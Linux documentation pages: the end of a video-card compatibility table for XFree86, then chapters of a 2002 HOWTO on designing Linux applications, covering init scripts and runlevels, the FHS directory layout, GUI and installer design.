S3 Trio64V2 (generic) | S3 Trio64V2 | XF86_S3 | vga |
S3 Trio64V2/DX (generic) | S3 Trio64V2 | XF86_S3 | vga |
S3 Trio64V2/GX (generic) | S3 Trio64V2 | XF86_S3 | vga |
S3 ViRGE (generic) | S3 ViRGE | XF86_SVGA | s3virge |
S3 ViRGE (old S3V server) | S3 ViRGE | XF86_S3V |  |
S3 ViRGE/DX (generic) | S3 ViRGE/DX | XF86_SVGA | s3virge |
S3 ViRGE/GX (generic) | S3 ViRGE/GX | XF86_SVGA | s3virge |
S3 ViRGE/GX2 (generic) | S3 ViRGE/GX2 | XF86_SVGA | s3virge |
S3 ViRGE/MX (generic) | S3 ViRGE/MX | XF86_SVGA | s3virge |
S3 ViRGE/MX+ (generic) | S3 ViRGE/MX | XF86_SVGA | s3virge |
S3 ViRGE/VX (generic) | S3 ViRGE/VX | XF86_SVGA | s3virge |
S3 Vision864 (generic) | S3 864 | XF86_S3 | vga |
S3 Vision868 (generic) | S3 868 | XF86_S3 | vga |
S3 Vision964 (generic) | S3 964 | XF86_S3 | vga |
S3 Vision968 (generic) | S3 968 | XF86_S3 | vga |
SHARP 9080 | S3 Aurora64V+ | XF86_S3 | vga |
SHARP 9090 | S3 Aurora64V+ | XF86_S3 | vga |
SNI PC5H W32 | ET4000/W32(i/p) | XF86_SVGA | tseng |
SNI Scenic W32 | ET4000/W32(i/p) | XF86_SVGA | tseng |
SPEA Mercury 64 | S3 964 | XF86_S3 | vga |
SPEA Mirage | S3 801/805 | XF86_S3 | vga |
SPEA/V7 Mercury | S3 928 | XF86_S3 | vga |
SPEA/V7 Mirage P64 | S3 864 | XF86_S3 | vga |
SPEA/V7 Mirage P64 with S3 Trio64 | S3 Trio64 | XF86_S3 | vga |
SPEA/V7 Mirage VEGA Plus | ALG-2228 | XF86_SVGA | vga |
SPEA/V7 ShowTime Plus | ET4000/W32(i/p) | XF86_SVGA | tseng |
STB Horizon | CL-GD5426/28 | XF86_SVGA | cirrus |
STB Horizon Video | CL-GD5440 |  | cirrus |
STB LightSpeed | ET4000/W32(i/p) | XF86_SVGA | tseng |
STB LightSpeed 128 | ET6000 | XF86_SVGA | tseng |
STB MVP-2 | ET4000 | XF86_SVGA | tseng |
STB MVP-2 PCI | ET4000/W32(i/p) | XF86_SVGA | tseng |
STB MVP-2X | ET4000/W32(i/p) | XF86_SVGA | tseng |
STB MVP-4 PCI | ET4000/W32(i/p) | XF86_SVGA | tseng |
STB MVP-4X | ET4000/W32(i/p) | XF86_SVGA | tseng |
STB Nitro (64) | CL-GD5434 | XF86_SVGA | cirrus |
STB Nitro 3D | S3 ViRGE/GX | XF86_SVGA | s3virge |
STB Nitro 64 Video | CL-GD5446 |  | cirrus |
STB Pegasus | S3 928 | XF86_S3 | vga |
STB Powergraph 64 | S3 Trio64 | XF86_S3 | vga |
STB Powergraph 64 Video | S3 Trio64V+ | XF86_S3 | vga |
STB Powergraph X-24 | S3 801/805 | XF86_S3 | vga |
STB Systems Powergraph 3D | S3 ViRGE | XF86_SVGA | s3virge |
STB Systems Velocity 3D | S3 ViRGE/VX | XF86_SVGA | s3virge |
STB Velocity 128 | RIVA128 | XF86_SVGA | nv |
STB Velocity 64 Video | S3 968 | XF86_S3 | vga |
STB nvidia 128 | RIVA128 | XF86_SVGA | nv |
SiS 300 | SiS300 | XF86_SVGA |  |
SiS 3D PRO AGP | SiS6326 | XF86_SVGA | sis |
SiS 530 | SiS530 | XF86_SVGA | sis |
SiS 540 | SiS540 | XF86_SVGA | sis |
SiS 5597 | SiS5597 | XF86_SVGA | sis |
SiS 5598 | SIS5598 | XF86_SVGA | sis |
SiS 620 | SIS620 | XF86_SVGA | sis |
SiS 630 | SiS630 | XF86_SVGA | sis |
SiS 6326 | SiS6326 | XF86_SVGA | sis |
SiS SG86C201 | SIS86C201 | XF86_SVGA | sis |
SiS SG86C205 | SIS86C205 | XF86_SVGA | sis |
SiS SG86C215 | SIS86C215 | XF86_SVGA | sis |
SiS SG86C225 | SIS86C225 | XF86_SVGA | sis |
Sierra Screaming 3D | Verite 1000 | XF86_SVGA | vga |
Sigma Concorde | ET4000/W32 | XF86_W32 | tseng |
Sigma Legend | ET4000 | XF86_SVGA | tseng |
Silicon Motion Lynx (generic) | Lynx | XF86_SVGA | siliconmotion |
Silicon Motion LynxEM | Lynx | XF86_SVGA | siliconmotion |
Soyo AGP (SY-740 AGP) | Intel 740 | XF86_SVGA | i740 |
Spacewalker Hot-158 | Intel 740 | XF86_SVGA | i740 |
Spider Black Widow | AGX-015 | XF86_AGX | vga |
Spider Black Widow Plus | AGX-016 | XF86_AGX | vga |
Spider Tarantula 64 | S3 964 | XF86_S3 | vga |
Spider VLB Plus | CL-GD5428 | XF86_SVGA | cirrus |
TechWorks Thunderbolt | ET4000/W32 | XF86_W32 | tseng |
Techworks Ultimate 3D | CL-GD5464 | XF86_SVGA | cirrus |
Toshiba Satellite 2050 CDS | S3 ViRGE/MX | XF86_SVGA | s3virge |
Toshiba Satellite 2520 CDS | S3 ViRGE/MX | XF86_SVGA | s3virge |
Toshiba Satellite 4030CDT | Cyber9525 | XF86_SVGA | trident |
Toshiba Satellite 4060CDT | Cyber9525 | XF86_SVGA | trident |
Toshiba Satellite 4080CDT | Cyber9525 | XF86_SVGA | trident |
Toshiba Tecra 540CDT | S3 ViRGE/MX | XF86_SVGA | s3virge |
Toshiba Tecra 550CDT | S3 ViRGE/MX | XF86_SVGA | s3virge |
Toshiba Tecra 750CDT | S3 ViRGE/MX | XF86_SVGA | s3virge |
Toshiba Tecra 750DVD | S3 ViRGE/MX | XF86_SVGA | s3virge |
Trident 3DImage975 (generic) | 3dimage975 | XF86_SVGA | trident |
Trident 3DImage975 AGP | 3dimage975 | XF86_SVGA | trident |
Trident 3DImage985 (generic) | 3dimage985 | XF86_SVGA | trident |
Trident 8900/9000 (generic) | TVGA8900/9000 | XF86_SVGA | vga |
Trident 8900D (generic) | TVGA8900D | XF86_SVGA | vga |
Trident 9910 | CyberBladeXP | XF86_SVGA | trident |
Trident 9930 | CyberBladeXPm | XF86_SVGA | trident |
Trident Blade3D (generic) | Blade3D | XF86_SVGA | trident |
Trident Cyber 9320 (generic) | Cyber9320 | XF86_SVGA | trident |
Trident Cyber 9325 (generic) | Cyber9325 | XF86_SVGA | trident |
Trident Cyber 9382 (generic) | Cyber9382 | XF86_SVGA | trident |
Trident Cyber 9385 (generic) | Cyber9385 | XF86_SVGA | trident |
Trident Cyber 9388 (generic) | Cyber9388 | XF86_SVGA | trident |
Trident Cyber 9397 (generic) | Cyber9397 | XF86_SVGA | trident |
Trident Cyber 939a (generic) | Cyber939a |  | trident |
Trident Cyber 9520 (generic) | Cyber9520 |  | trident |
Trident Cyber 9525 (generic) | Cyber9525 | XF86_SVGA | trident |
Trident CyberBlade (generic) | CyberBlade | XF86_SVGA | trident |
Trident CyberBladeXP | CyberBladeXP | XF86_SVGA | trident |
Trident CyberBladeXPm | CyberBladeXPm | XF86_SVGA | trident |
Trident Providia 9682 (generic) | Providia9682 |  | trident |
Trident Providia 9685 (generic) | Providia9685 |  | trident |
Trident TGUI9400CXi (generic) | TGUI9400CXi | XF86_SVGA | trident |
Trident TGUI9420 (generic) | TGUI9420 |  | trident |
Trident TGUI9420DGi (generic) | TGUI9420DGi | XF86_SVGA | trident |
Trident TGUI9430DGi (generic) | TGUI9430DGi | XF86_SVGA | trident |
Trident TGUI9440 (generic) | TGUI9440 | XF86_SVGA | trident |
Trident TGUI9660 (generic) | TGUI9660 | XF86_SVGA | trident |
Trident TGUI9680 (generic) | TGUI9680 | XF86_SVGA | trident |
Trident TGUI9682 (generic) | TGUI9682 | XF86_SVGA | trident |
Trident TGUI9685 (generic) | TGUI9685 | XF86_SVGA | trident |
Trident TVGA 8800BR | Generic VGA | XF86_VGA16 | vga |
Trident TVGA 8800CS | Generic VGA | XF86_VGA16 | vga |
Trident TVGA9200CXr (generic) | TVGA9200CXr | XF86_SVGA | vga |
Unsupported VGA compatible | Generic VGA | XF86_VGA16 | vga |
VI720 | CL-GD5434 | XF86_SVGA | cirrus |
VL-41 | S3 801/805 | XF86_S3 | vga |
VidTech FastMax P20 | S3 864 | XF86_S3 | vga |
VideoExcel AGP 740 | Intel 740 | XF86_SVGA | i740 |
VideoLogic GrafixStar 300 | S3 Trio64 | XF86_S3 | vga |
VideoLogic GrafixStar 400 | S3 Trio64V+ | XF86_S3 | vga |
VideoLogic GrafixStar 500 | S3 868 | XF86_S3 | vga |
VideoLogic GrafixStar 550 | CL-GD5464 | XF86_SVGA | cirrus |
VideoLogic GrafixStar 560 (PCI/AGP) | CL-GD5465 | XF86_SVGA | cirrus |
VideoLogic GrafixStar 600 | ET6000 | XF86_SVGA | tseng |
VideoLogic GrafixStar 700 | S3 968 | XF86_S3 | vga |
ViewTop PCI | ET4000/W32(i/p) | XF86_SVGA | tseng |
ViewTop ZeusL 8MB | Intel 740 | XF86_SVGA | i740 |
Voodoo Banshee (generic) | Voodoo Banshee | XF86_SVGA | tdfx |
Voodoo Rush (generic) | Voodoo Rush | XF86_SVGA | tdfx |
Voodoo3 (generic) | Voodoo3 | XF86_SVGA | tdfx |
Voodoo5 (generic) | Voodoo5 |  | tdfx |
WD 90C24 (laptop) | WD90C24 | XF86_SVGA | vga |
WD 90C24A or 90C24A2 (laptop) | WD90C24A | XF86_SVGA | vga |
Weitek P9100 (generic) | Weitek P9100 | XF86_SVGA | vga |
WinFast S200 | ET4000/W32(i/p) | XF86_SVGA | tseng |
WinFast S430 | S3 968 | XF86_S3 | vga |
WinFast S510 | S3 968 | XF86_S3 | vga |
Winfast S900 i740 AGP 8MB | Intel 740 | XF86_SVGA | i740 |
XGA-1 (ISA bus) | XGA-1 | XF86_AGX | vga |
XGA-2 (ISA bus) | XGA-2 | XF86_AGX | vga |

6.2. Commercial X servers

Commercial X servers provide support for cards not supported by XFree86, and might give better performances for cards that are supported by XFree86. Contact the vendors directly or check the Commercial HOWTO for more info.

  • Xi Graphics (Accelerated-X)

  • Metro Link (Metro-X)

6.3. Kernel Framebuffer (fbdev)

The kernel supports a graphical console on some video cards. This support was originally designed for non-x86 architectures which generally do not have text-capable video cards. It was integrated into the kernel in 2.2, and now supports various video cards.

More information can be found at linux-fbdev.org.

The following cards are supported:

  • Amiga builtin chipset (amifb)

  • ATARI builtin chipset (atafb)

  • ATI Rage128 (aty128fb)

  • ATI Mach64, RageII, RageII+, RageIIc (atyfb)

  • Hercules Graphics Adaptor (hgafb)

  • Matrox Millennium I, Millennium II, Mystique, G200 (matroxfb)

  • PowerMAC "platinum" (platinumfb)

  • S3 Savage4 (savagefb)

  • 3Dfx Voodoo, Voodoo2, Voodoo3 (tdfxfb)

  • S3 Trio64 (trio64fb)

  • All VESA 2.0 cards (vesafb)

6.4. SVGALIB (graphics for console)

  • VGA

  • EGA

  • ARK Logic ARK1000PV/2000PV

  • ATI VGA Wonder

  • ATI Mach32

  • Cirrus 542x, 543x

  • OAK OTI-037/67/77/87

  • S3 (limited support)

  • Trident TVGA8900/9000

  • Tseng ET3000/ET4000/W32

Prev | Home | Next
Memory |  | Controllers (hard drive)


About this Document

Designing Integrated High Quality Linux Applications
Prev

B. About this Document

This document must be distributed under the terms of GNU Free Documentation License, which makes him sufficiently free. Everybody in invited to contribute to his content and ideas.

Copyright 2002, Avi Alkalay.

This document is published in the following locations:

  • Main distribution [pt_BR] [XML Source]

  • LinuxDoc, as a HOWTO [single page] [PDF]

  • Linux and Main essay (24th March 2002)

It was written originally in brazilian portuguese, and then translated to english. SGML and the more-then-incredible DocBook was used, that made possible this document being distributed in other formats, found in website.

It got ready (potuguese+english) in mid march 2002. Everything changed after this epoch is cosmetics.

I wrote it to help commercial companies and OpenSource developers make plug-and-play, easy-to-use software for Linux, and this way improve Linux usability and popularity.

All concepts (from a high level perspective) described here, can be used in any UNIX flavor, or even other OS, like Windows. Maybe some day I'll write one of these for Windows....or Mac....

Prev | Home
Red Hat, About the Filesystem Structure |


Starting Your Software Automatically on Boot

Designing Integrated High Quality Linux Applications
Prev Next

9. Starting Your Software Automatically on Boot

The way Linux starts (and stops) all its subsystems is very simple and modular. Lets you define initialization order, runlevels etc

9.1. From BIOS to Subsystems

Lets review what happens when we boot Linux:

  1. The BIOS or a bootloader (lilo, zlilo, grub, etc) loads Linux Kernel from disk to memory, with some parameters defined in the bootloader configuration. We can see this process watching the dots that appear in the screen. Kernel file stays in the /boot directory, and is accessed only at this moment.

  2. In memory, Kernel code starts to run, detecting a series of vital devices, disk partitions etc.

  3. On of the last things Kernel does is to mount the / (root) filesystem, that obrigatoriamente must contain the /etc, /sbin, /bin and /lib directories.

  4. Immediately behind, calls the program called init (/sbin/init) and passes the control to him.

  5. The init command will read his configuration file (/etc/inittab) which defines the system runlevel, and some Shell scripts to be run.

  6. These scripts will continue the setup of system's minimal infrastructure, mounting other filesystems (according to /etc/fstab), activating swap space (virtual memory), etc.

  7. The last step, and most interesting for you, is the execution of the special script called /etc/rc.d/rc, which initializes the subsystems according to a directory structure under /etc/rc.d. The name rc comes from run commands.

9.2. Runlevels

The runlevels mechanism lets Linux initialize itself in different ways. And also lets us change from one profile (runlevel) to another without rebooting.

The default runlevel is defined in /etc/inittab with a line like this:

Example 3. Default runlevel (3, in this case) line in /etc/inittab

id:3:initdefault:

Runlevels are numbers from 0 to 6 and each one of them is used following this standard:

0

Halts the system. Turning to this runlevel, all subsystems are softly deactivated before the shutdown. Don't use it in the initdefault line of /etc/inittab.

1

Mono-user mode. Only vital subsystems are initialized because it is used for system maintenance. No user authentication (login) is required in this runlevel. A command line is directly returned to the user.

3, 2

3 is used when a system is in full production. Take it as the runlevel your software will run. 2 is historical and is like 3, but without NFS.

4

Not used. You can define it as you want, but is uncommon.

5

Like 3 plus a graphical login. It is ideal for a desktop workstation. Use 3 if the machine will be used as a server, for security and performance reasons.

6

Like runlevel 0, but after complete stop, the machine is rebooted. Don't use it in the initdefault line of /etc/inittab.

You can switch from one runlevel to another using the telinit command. And you can see the current runlevel and the last one with the runlevel command. See bellow how we switched from runlevel 3 to 5.

bash# runlevel
N 3
bash# telinit 5
bash# runlevel
3 5
bash#

9.3. The Subsystems

Subsystems examples are a web-server, data base server, OS network layer etc. We'll not consider a user oriented application (like a text editor) as a subsystem.

Linux provides an elegant and modular way to organize the subsystems initialization. An important fact to think is about subsystems interdependencies. For instance, it makes no sense to start a web-server before basic networking subsystem is active.

Subsystems are organized under the /etc/init.d and /etc/rc.d/rcN.d directories:

/etc/init.d

All installed Subsystems put in this directory a control program, which is a script that follows a simple standard described bellow. This is a simplified listing of this directory:

Example 4. Subsystems installed in /etc/init.d

bash:/etc/init.d# ls -l
-rwxr-xr-x  1 root  root   9284 Aug 13  2001 functions
-rwxr-xr-x  1 root  root   4984 Sep  5 00:18 halt
-rwxr-xr-x  1 root  root   5528 Nov  5 09:44 firewall
-rwxr-xr-x  1 root  root   1277 Sep  5 21:09 keytable
-rwxr-xr-x  1 root  root    487 Jan 30  2001 killall
-rwxr-xr-x  1 root  root   7958 Aug 15 17:20 network
-rwxr-xr-x  1 root  root   1490 Sep  5 07:54 ntpd
-rwxr-xr-x  1 root  root   2295 Jan 30  2001 rawdevices
-rwxr-xr-x  1 root  root   1830 Aug 31 09:29 httpd
-rwxr-xr-x  1 root  root   1311 Aug 15 14:18 syslog
/etc/rc.d/rcN.d (N is the runlevel indicator)

These directories must contain only special symbolic links to the scripts in /etc/init.d. This is how it looks:

Example 5. /etc/rc3.d listing

bash:/etc/rc3.d# ls -l
lrwxrwxrwx  1 root  root     18 Jan 14 11:59 K92firewall -> ../init.d/firewall
lrwxrwxrwx  1 root  root     17 Jan 14 11:59 S10network -> ../init.d/network
lrwxrwxrwx  1 root  root     16 Jan 14 11:59 S12syslog -> ../init.d/syslog
lrwxrwxrwx  1 root  root     18 Jan 14 11:59 S17keytable -> ../init.d/keytable
lrwxrwxrwx  1 root  root     20 Jan 14 11:59 S56rawdevices -> ../init.d/rawdevices
lrwxrwxrwx  1 root  root     16 Jan 14 11:59 S56xinetd -> ../init.d/xinetd
lrwxrwxrwx  1 root  root     18 Jan 14 11:59 S75httpd -> ../init.d/httpd
lrwxrwxrwx  1 root  root     11 Jan 13 21:45 S99local -> ../rc.local

Pay attention that all link names has a prefix starting with letter K (from Kill, to deactivate) or S (from Start, to activate), and a 2 digit number that defines the boot activation priority. In our example we have HTTPd (priority 75) starting after the Network (priority 10) subsystem. And the Firewalling subsystem will be deactivated (K) in this runlevel.

So to make your Software start automatically in the boot process, it must be a subsystem, and we'll see how to do it in the following section.

9.4. Turning Your Software Into a Subsystem

Your Software's files will spread across the filesystems, but you'll want to provide a simple and consistent interface to let the user at least start and stop it. Subsystems architecture promotes this ease-of-use, also providing a way (non obrigatoria) to be automatically started on system initialization. You just have to create your /etc/init.d script following a standard to make it functional.

Example 6. Skeleton of a Subsystem control program in /etc/init.d

#!/bin/sh
#
# /etc/init.d/mysystem
# Subsystem file for "MySystem" server
#
# chkconfig: 2345 95 05	  (1)
# description: MySystem server daemon
#
# processname: MySystem
# config: /etc/MySystem/mySystem.conf
# config: /etc/sysconfig/mySystem
# pidfile: /var/run/MySystem.pid

# source function library
. /etc/rc.d/init.d/functions

# pull in sysconfig settings
[ -f /etc/sysconfig/mySystem ] && . /etc/sysconfig/mySystem	  (2)

RETVAL=0
prog="MySystem"
.
.	  (3)
.

start() {	  (4)
    echo -n $"Starting $prog:"
    .
    .	  (5)
    .
    RETVAL=$?
    [ "$RETVAL" = 0 ] && touch /var/lock/subsys/$prog
    echo
}

stop() {	  (6)
    echo -n $"Stopping $prog:"
    .
    .	  (7)
    .
    killproc $prog -TERM
    RETVAL=$?
    [ "$RETVAL" = 0 ] && rm -f /var/lock/subsys/$prog
    echo
}

reload() {	  (8)
    echo -n $"Reloading $prog:"
    killproc $prog -HUP
    RETVAL=$?
    echo
}

case "$1" in	  (9)
    start)
        start
        ;;
    stop)
        stop
        ;;
    restart)
        stop
        start
        ;;
    reload)
        reload
        ;;
    condrestart)
        if [ -f /var/lock/subsys/$prog ] ; then
            stop
            # avoid race
            sleep 3
            start
        fi
        ;;
    status)
        status $prog
        RETVAL=$?
        ;;
    *)	  (10)
        echo $"Usage: $0 {start|stop|restart|reload|condrestart|status}"
        RETVAL=1
esac
exit $RETVAL
Although these are comments, they are used by chkconfig command and must be present. This particular line defines that on runlevels 2,3,4 and 5, this subsystem will be activated with priority 95 (one of the lasts), and deactivated with priority 05 (one of the firsts).
Besides your Software's own configuration, this script can also have a configuration file. The standard place for it is under /etc/sysconfig directory, and in our case we call it mySystem. This code line reads this configuration file.
Your script can have many functions, but it is obrigatorios the implementation of start and stop methods, because they are responsible for (de)activation of your Subsystem on boot. Other methods can be called from the command line, and you can define as much as you want.
After defining the script actions, the command line is analyzed and the requested method (action) is called.
If this script is executed without any parameter, it will return a help message like this:

bash# /etc/init.d/mysystem
Usage: mysystem {start|stop|restart|reload|condrestart|status}
Here you put your Software's specific command.

The mysystem subsystem methods you implemented will be called by users with the service command like this example:

Example 7. service command usage

bash# service mysystem start
Starting MySystem:			[ OK ]
bash# service mysystem status
Subsysten MySystem is active with pid 1234
bash# service mysystem reload
Reloading MySystem:			[ OK ]
bash# service mysystem stop
Stopping MySystem:			[ OK ]
bash#

You don't have to worry about managing the symbolic links in /etc/rc.d/rcN.d. The chkconfig command makes it for you, based on the control comments defined in the beginning of your script.

Example 8. Using the chkconfig command

bash# chkconfig --add mysystem
bash# chkconfig --del mysystem

Read the chkconfig manual page to see what more it can do for you.

9.5. Packaging Your Boot Script

When you'll create the RPM, put your Subsystem script in /etc/init.d and do not include any /etc/rc.d/rcN.d link, because it is a user decision to make your subsystem automatic or not. If you include them and the user makes any change, the RPM file inventory will become inconsistent.

The symbolic links must be created and removed dynamically by the post-installation and pre-uninstallation process of your package, using the chkconfig command. This approach guarantees 100% package and filesystem consistency.

Prev | Home | Next
Graphical User Interface |  | Red Hat, About the Filesystem Structure


Linux Directory Hierarchy: Oriented to the Software Parts

Designing Integrated High Quality Linux Applications
Prev Next

4. Linux Directory Hierarchy: Oriented to the Software Parts

By now, all discussion are OS independent. On Linux, the Four Software Parts theory is expressed in his directory structure, which is classified and documented in the Filesystem Hierarchy Standard. The FHS is part of the LSB (Linux Standard Base), which makes him a good thing because all the industry is moving thowards it, and is a constant preoccupation to all distributions. FHS defines in which directories each peace of Apache, Samba, Mozilla, KDE and your Software must go, and you don't have any other reason to not use it while thinking in developing your Software, but I'll give you some more:

  1. FHS is a standard, and we can't live without standards

  2. This is the most basic OS organization, that are related to access levels and security, where users intuitively find each type of file, etc

  3. Makes user's life easyer

This last reason already justifies FHS adoption, so allways use the FHS !!!

More about FHS importance and sharing the same directory structure can be found in Red Hat website.

4.1. FHS Summary

So let's summarize what the FHS has to say about Linux directories:

Linux system directories

/usr/bin

Directory for the executables that are accessed by all users (everybody have this directory in their $PATH). The main files of your Software will probably be here. You should never create a subdirectory under this folder.

/bin

Like /usr/bin, but here you'll find only boot process vital executables, that are simple and small. Your Software (being high-level) probably doesn't have nothing to install here.

/usr/sbin

Like /usr/bin, but contains only the executables that must be accessed by the administrator (root user). Regular users should never have this directory in their $PATH. If your Software is a daemon, This is the directory for some of executables.

/sbin

Like /usr/sbin, but only for the boot process vital executables, and that will be accessed by sysadmin for some system maintaining. Commands like fsck (filesystem check), init (father of all processes), ifconfig (network configuration), mount, etc can be found here. It is the system's most vital directory.

/usr/lib

Contains dynamic libraries and support static files for the executables at /usr/bin and /usr/sbin. You can create a subdirectory like /usr/lib/myproduct to contain your helper files, or dynamic libraries that will be accessed only by your Software, without user intervention. A subdirectory here can be used as a container for plugins and extensions.

/lib

Like /usr/lib but contains dynamic libraries and support static files needed in the boot process. You'll never find an executable at /bin or /sbin that needs a library that is outside this directory. Kernel modules (device drivers) are under /lib.

/etc

Contains configuration files. If your Software uses several files, put them under a subfolder like /etc/myproduct/

/var

The name comes from "variable", because everything that is under this directory changes a frequently. Usually /var is mounted over a separate high-performance partition. In /var/log logfiles grow up. For web content we use /var/www, and so on.

/home

Contains the user's (real human beings) home directories. Your Software package should never install files here (in installation time). If your business logic requires a special UNIX user (not a human being) to be created, you should assign him a home directory under /var or other place outside /home. Please, never forget that.

/usr/share/doc, /usr/share/man

The "share" word is used because what is under /usr/share is platform independent, and can be shared among several machines across a network filesystem. Therefore this is the place for manuals, documentations, examples etc.

/usr/local, /opt

These are obsolete folders. When UNIX didn't have a package system (like RPM), sysadmins needed to separate an optional (or local) Software from the main OS. These were the directories used for that.

You may think is a bad idea to break your Software (as a whole) in many pieces, instead of keeping it all under a self-contained directory. But a package system (RPM) has a database that manages it all for you in a very professional way, taking care of configuration files, directories etc. And if you spread your Software using the FHS, beyond the user friendliness, you'll bring an intuitive way to the sysadmin configure it, and work better with performance and security.

4.2. Examples Using the FHS

Now that we know where each part of our software must be installed, lets review the Universal Parts Table applied to the FHS.

Table 2. Same Software, applying FHS

 | Software on its Own | Configurations | Content | Logs, Dumps etc
Data Base Server | /usr/bin/, /usr/lib/, /usr/share/doc/mydb/, /usr/share/doc/mydb/examples/ | /etc/mydb/ | /var/db/instance1/, /var/db/instance2/, etc | /var/db/instance1/transactions/, /var/log/db/access-instance1.log, /var/log/db/access-instance2.log
Text Editor | /usr/bin/, /usr/lib/, /usr/lib/myeditor/plugins/, /usr/share/myeditor/templates/, /usr/share/doc/myeditor/ | $HOME/.myeditor.conf | $HOME/Docs/ | $HOME/.myeditor-tmp/
MP3 Generator | /usr/bin/, /usr/lib/, /usr/lib/mymp3/plugins/, /usr/share/doc/mymp3/ | $HOME/.mymp3.conf | $HOME/Music/ | $HOME/.mymp3-tmp/
Web Server | /usr/sbin/, /usr/bin/, /usr/lib/httpd-modules/, /usr/share/doc/httpd/, /usr/share/doc/httpd/examples/ | /etc/httpd/, /etc/httpd/instance1/, /etc/httpd/instance2/ | /var/www/, /var/www/instance1/, /var/www/instance2/ | /var/logs/httpd/, /var/logs/httpd/instance1/, /var/logs/httpd/instance2/
E-Mail Server | /usr/sbin/, /usr/bin/, /usr/lib/, /usr/share/doc/mymail/ | /etc/mail/, /etc/mailserver.cf | /var/mail/ | /var/spool/mailqueue/, /var/logs/mail.log

4.3. Friendly Advice: Never use /opt or /usr/local

This is a very polemic subject, and that is why this is the most important section in this document. After almost ten years of UNIX experience I can beat any /usr/local-prone argument. I'll try to organize some ideas here.

It is very important to Linux evolution and popularization (especially in the desktop battlefield), that developers stop using this hell directories, and start using the FHS. After reading this section, if you still think this folders are good business, please drop me an e-mail.

Products that are entirely installed under one directory, uses the self-contained approach, that has several problems:

  1. Forces the user to change environment variables like $PATH and $LD_LIBRARY_PATH to use your product easily.

  2. Puts files in non-standard places, complicating system integration, and future installation of extensions to your product.

  3. The sysadmin probably didn't prepared disk space in these partitions, generating problems in installation time.

  4. It is an accepted approach only for pure graphical application, without the command line concept. This is why it were well accepted in Windows. But...

  5. ...even using this approach, you can't avoid installing or changing files in standard locations to, for instance, make your icons appear in the user desktop.

This directories exists for historical reasons, and for compatibility with other UNICES, from the epoch we didn't have a package management system, and the sysadmin needed to segregate the products, to keep the control. And the last item shows us that even if you want, you'll not be able to segregate your product. You'll make it distant and non-practical to the user.

You don't have to be afraid of spreading your files according to FHS because RPM will keep an eye on them.

Many developers believe that the "self-contained" approach let them work with several versions of the same product, for testing purposes, or whatever. Yes, agree, with this or any good reason in the planet. But remember that a High Quality Software (or Commercial Grade Software) objective is to be practical for the final user, and not to be easy to their developers and testers. Invite yourself to visit an unexperienced (but potential customer) user and watch him installing your product.

If you have a business requirement to let the user work with several versions of your Product simultaneously (or any other reason), make a relocatable package, which is described in the Maximum RPM book. Be also aware about the implications of using this feature, described in the same book.

Nao e a toa that distributions like Red Hat and derivatives allways use FHS, instead of /opt or /usr/local. Read what Red Hat says about this subject, and think about it.

Note

The Makefiles of an OpenSource Software that is portable to other UNICES must have the standard installation in /usr/local for compatibility reasons. But must also give the option, and induct the packager, to create the package using FHS specifications.

Prev | Home | Next
The Four Universal Parts of Any Software |  | Provide Architecture for Extensions and Plugins


Graphical User Interface

Designing Integrated High Quality Linux Applications
Prev Next

8. Graphical User Interface

Everybody loves graphical interfaces. Many times they make our life easyer, and this way helps to popularize a Software, because the learning curve get smaller. But for the everyday use, a command with many options and a good manual becomes much more practical, making scripts easy, remote access, etc. So the suggestion is, whenever is possible, to provide both interfaces: graphical for the beginners, and the powerfull command line for the expert.

8.1. KDE, GNOME, Java or Motif?

Better then a simple graphical interface is a consistent integrated desktop. And the desktops today in Linuxland are KDE and GNOME. Try to allways use one of them, or both.

KDE is the most outstanding, offering a true consistent desktop, flexible, with an extremely elegant architecture, using components, intercommunication, performance etc. It is constantly evolving, and is developed in C++. Its applications have an familiar integrated look-and-feel, is light and mature.

GNOME also brings the integrated desktop proposal, but it is far from the maturity and ease-of-use of KDE. From the other side, is very well supported by the comunity, and good improvements are appearing.

Motif isn't an integrated desktop. It is a widgets library (button, scrollbar etc), plus a window-manager. It was born commercial, is mature and popular in commercial applications. But is considered obsolete in front of KDE and GNOME, that integrates the desktop. Motif source code was opened by the OpenGroup and because that was renamed to OpenMotif.

Java is being used more and more for graphical interfaces, specially in server Software, where the graphics are only helpers to configuration and administration.

8.2. Web Interface: Access from Anywhere

Nowadays every desktop has a browser, and if your Product is a server application, the Web Interface is the right choice, because it lets a user administer it from anywhere. But keep in mind the security and organization of your CGIs, because they use to be front doors for crackers. Web interface (CGI) is completely different programming paradigm. Try to understand it conceptually first, starting from "how a web-server works", "what is a URL", etc, to get on this without compromising your Product's security.

8.3. Wizards and Graphical Installers

Specially for a commercial Product, your Software must provide a graphical installer. Believe me, they are impressive in a demonstration, and CIOs love them.

More then just installation, a wizard helps in the initial configuration of your Product, collects info like activation key etc, and shows the developer license.

A wizard should not do more than this:

  1. Ask which modules to install, experienced by the user as checkboxes.

  2. Get the necessary info to build an initial configuration (the soul) for the Software.

  3. Install the selected modules, that are in fact RPM files. Each checkbox must represent one or more RPMs, because each RPM is a indivisible (atomic) portion of a Software.

  4. After RPMs installation, change the configuration (soul) files (marked this way in the RPMs), or create some content, based on the data the user gave to the wizard.

So the wizard hides the RPM installation and writes initial personalization. RPM is still responsable for putting all your software files in the correct places. This role should never be of your installer. Think that an experienced user (there are a lot of them in the Linux world) should be able to reproduce your Product installation without the graphical help, using only RPM commands. In fact, in big data centers, where people make mass installations, a graphical installer only disturbs.

RPM provides tools that help your graphical installer interact with them, like installation percentage viewer. Documentation for use are allways in the RPM manual (man rpm) and in the Maximum RPM book.

Prev | Home | Next
Security: The Omnipresent Concept |  | Starting Your Software Automatically on Boot


Designing Integrated High Quality Linux Applications

Avi Alkalay

avi at br.ibm.com
avi at unix.sh

Senior IT and Software Architect :: Linux Market Developer
IBM Linux Impact Team :: ibm.com/linux

Copyright © 2002 by Avi Alkalay

v2.0, 2002-05-07

Revision History
Revision 2.0 | 07 May 2002 | Revised by: avi
Final XML conversion. Files reorganization.
Revision 1.9.9 | 20 Apr 2002 | Revised by: avi
Included other document locations.
Revision 1.98 | 14 Apr 2002 | Revised by: avi
Title changed from "Creating" to "Designing".
Revision 1.97 | 09 Apr 2002 | Revised by: avi
Converted to XML 4.1.2, and started to use real XSLT. Spell checked the english version.
Revision 1.96 | 23 Mar 2002 | Revised by: avi
Better HTML style sheets.
Revision 1.95 | 17 Mar 2002 | Revised by: avi
Last chapter: One Body, Many Souls. Created appendix. Still have to translate some words here and there.
Revision 1.9 | 16 Mar 2002 | Revised by: avi
Added universal software table with FHS.
Revision 1.7 | 16 Mar 2002 | Revised by: avi
Everything is now translated except some words.
Revision 1.3 | 27 Feb 2002 | Revised by: avi
